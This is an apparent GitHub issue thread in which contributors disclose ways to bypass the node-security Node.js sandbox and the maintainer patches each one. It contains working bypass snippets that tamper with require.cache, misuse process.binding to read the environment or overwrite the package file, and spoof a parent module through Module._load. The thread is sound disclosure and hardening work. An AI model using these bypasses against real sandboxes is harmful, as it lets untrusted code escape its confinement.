node-security icon indicating copy to clipboard operation
node-security copied to clipboard

Security checks can be completely bypassed by a malicious script

Open Qix- opened this issue 6 years ago • 12 comments

First off, I started looking at this repository because it's gaining traction. I'm also posting this here since there are no listed dependents on npm (yet).

I want to put forward my belief that you cannot secure a javascript context using javascript alone. This is why packages like vm2 exist (which wraps node's vm module). This is also why node-security is inherently insecure unless you introduce a native component that modifies the behavior of the execution context. This is an extremely hard problem to solve.

Please do not use this package if you need a secure execution context.


The following code can bypass your module's security checks entirely. Note that this took me roughly 5 minutes to reverse engineer. Any attempts to obscure this will fail.

/* secure.js */

const nodesecurity = require( '@matthaywardwebdesign/node-security' );
const NodeSecurity = new nodesecurity();

// Don't allow anything at all.
NodeSecurity.configure({});
/* index.js */

function try_require(name) {
	try {
		require(name);
		console.log(name, '\x1b[1;32mOK\x1b[m');
	} catch (e) {
		console.error(name, '\x1b[1;31mFAIL\x1b[m -', e.message);
	}
}

try_require('http');
try_require('fs');
try_require('net');
/* bypass.js */

require.cache[Object.keys(require.cache).filter(s => /node-security\/dist\/ModuleLoader\.js$/.test(s))[0]].exports.default.prototype.isModuleAllowed = () => true;
$ node ./index.js
http OK
fs OK
net OK

$ node -r ./secure.js ./index.js
http FAIL - NodeSecurity has blocked an attempt to access module 'http'. Parent modules = ['/private/tmp/test-node-security/index.js']
fs FAIL - NodeSecurity has blocked an attempt to access module 'fs'. Parent modules = ['/private/tmp/test-node-security/index.js']
net FAIL - NodeSecurity has blocked an attempt to access module 'net'. Parent modules = ['/private/tmp/test-node-security/index.js']

$ node -r ./secure.js -r ./bypass.js ./index.js
http OK
fs OK
net OK

Qix- avatar Dec 30 '18 20:12 Qix-

@Qix, the hero we need.. :)

But also, I saw this repo from suggested pages in chrome, and as I was looking through the code, I had the exact same concern. Glad to see my hunch was right. :+1:

NullVoxPopuli avatar Dec 30 '18 20:12 NullVoxPopuli

@Qix- Thanks for this! Your approach clearly slipped my mind when thinking about ways to bypass it.

I do agree that doing it from Javascript without modifying the execution context may not be possible. I'm pushing a fix now that prevents the prototype being modified using Object.freeze which does prevent your code bypassing the check. However I'm not certain that this will prevent it entirely, or that there isn't other ways to bypass these checks.

I'll look at using solutions like vm2 to enable this functionality whilst keeping what I believe is a fairly clean API.

For the meantime I'll place a link to your issue in the README with a note around "secure" usage.

Thanks again.

matthaywardwebdesign avatar Dec 30 '18 21:12 matthaywardwebdesign

@matthaywardwebdesign I look forward to reviewing the next iteration. :)

Qix- avatar Dec 30 '18 21:12 Qix-

@Qix- Let's keep finding these issues!

Need all the help I can get, I'm no security expert by any means!

matthaywardwebdesign avatar Dec 30 '18 21:12 matthaywardwebdesign

Need all the help I can get, I'm no security expert by any means!

Hi @matthaywardwebdesign we've been working on this. In fact, we've been shaping JavaScript to make this kind of security possible starting with EcmaScript 5 and Caja https://developers.google.com/caja/ . However, Caja itself remains stuck in approximately ES5-era JavaScript. For help using modern JavaScript to secure itself, see the links below.

I want to put forward my belief that you cannot secure a javascript context using javascript alone.

Hi @Qix- , your criticisms are in the right direction. Even after all the progress we've made, it is still much trickier to use JS to secure itself than it should be. But yes we can, we are doing so, and we have been for many years. However, it is a lot more involved than it looks. See

https://www.youtube.com/watch?v=9Snbss_tawI&t=120s&list=PLKr-mvz8uvUgybLg53lgXSeLOp4BiwvB2&index=26

https://rawgit.com/Agoric/SES/master/demo/

https://rawgit.com/Agoric/SES/

https://github.com/tc39/proposal-realms/

https://github.com/tc39/proposal-frozen-realms/

erights avatar Dec 30 '18 23:12 erights

Please see https://medium.com/agoric/pola-would-have-prevented-the-event-stream-incident-45653ecbda99 by @katelynsills for a taste of our next major work in progress --- least authority module loading. This will be awhile, and is needed to integrate modern modules well into SES. But you should start playing with SES now, without waiting for modules, so you get the key ideas.

If you don't yet need modules, SES is quite usable now. Salesforce is using it at scale, as @jfparadis explained at his OCap 2018 talk at Splash:

https://www.youtube.com/watch?v=3ME7oHHQbuM&list=PLzDw4TTug5O0ywHrOz4VevVTYr6Kj_KtW

erights avatar Dec 30 '18 23:12 erights

@matthaywardwebdesign here's a complete bypass for the environment (where configuration is {env: {}}).

const _util = process.binding('util');

process.env = new Proxy({}, {
	get(target, name) {
		return _util.safeGetenv(name);
	}
});

@erights I'm entirely aware of how complicated securing Javascript is. :)

Qix- avatar Dec 31 '18 00:12 Qix-

@matthaywardwebdesign also here's a bypass that works after running the program exactly twice:

const nodeSec = Object.keys(require.cache).filter(k => /@matthaywardwebdesign\/node-security\/dist\/index\.js$/.test(k))[0];

const _fs = process.binding('fs');
const _const = process.binding('constants');

const ctx = {nodeSec};
const fd = _fs.open(nodeSec, _const.fs.O_WRONLY | _const.fs.O_TRUNC, 0o666, undefined, ctx);
_fs.writeString(fd, 'module.exports = class LolSecurity{configure(){}reset(){}};', null, undefined, undefined, ctx);
_fs.close(fd, undefined, ctx);

Qix- avatar Dec 31 '18 00:12 Qix-

@erights Thanks for all of those resources and the great work you are doing! I'll check them out :)

Definitely a hard problem to solve!

@Qix- Nice work and LolSecurity is a nice touch haha! I've just pushed a change which applies the same logic to process.binding as require which prevents those exploits from working.

There definitely will be more ways to access core modules outside of require however. One example I can think of would be including a C++ module which performs file operations.

matthaywardwebdesign avatar Dec 31 '18 01:12 matthaywardwebdesign

Yes, loading a c++ module will be my next trick. But putting process.dlopen() behind a capability will fix that.

Qix- avatar Dec 31 '18 01:12 Qix-

@Qix- I look forward to your next tricks! I've pushed a new version with process.dlopen() behind a check as per your suggestion!

Thanks for all the help too!

matthaywardwebdesign avatar Dec 31 '18 01:12 matthaywardwebdesign

Two other things to add about bypasses related to "require" :

  1. The require cache is completely mutable. Meaning that the script can impersonate himself as an other module which has the access he wants.
Object.prototype.toString.fs = true;
require.cache[__filename].filename = "toString";
var fs = require("fs");
console.log(fs.writeFileSync ? "Yay !" : "Nay :(");
  1. The hooked "_load" function can be directly called with a crafted "parent" value.
Object.prototype.toString.fs = true;
var fs = global.process.mainModule.constructor._load("fs", { filename : "toString" , parent: { filename : __filename } });
console.log(fs.writeFileSync ? "Yay !" : "Nay :(");

HoLyVieR avatar Dec 31 '18 20:12 HoLyVieR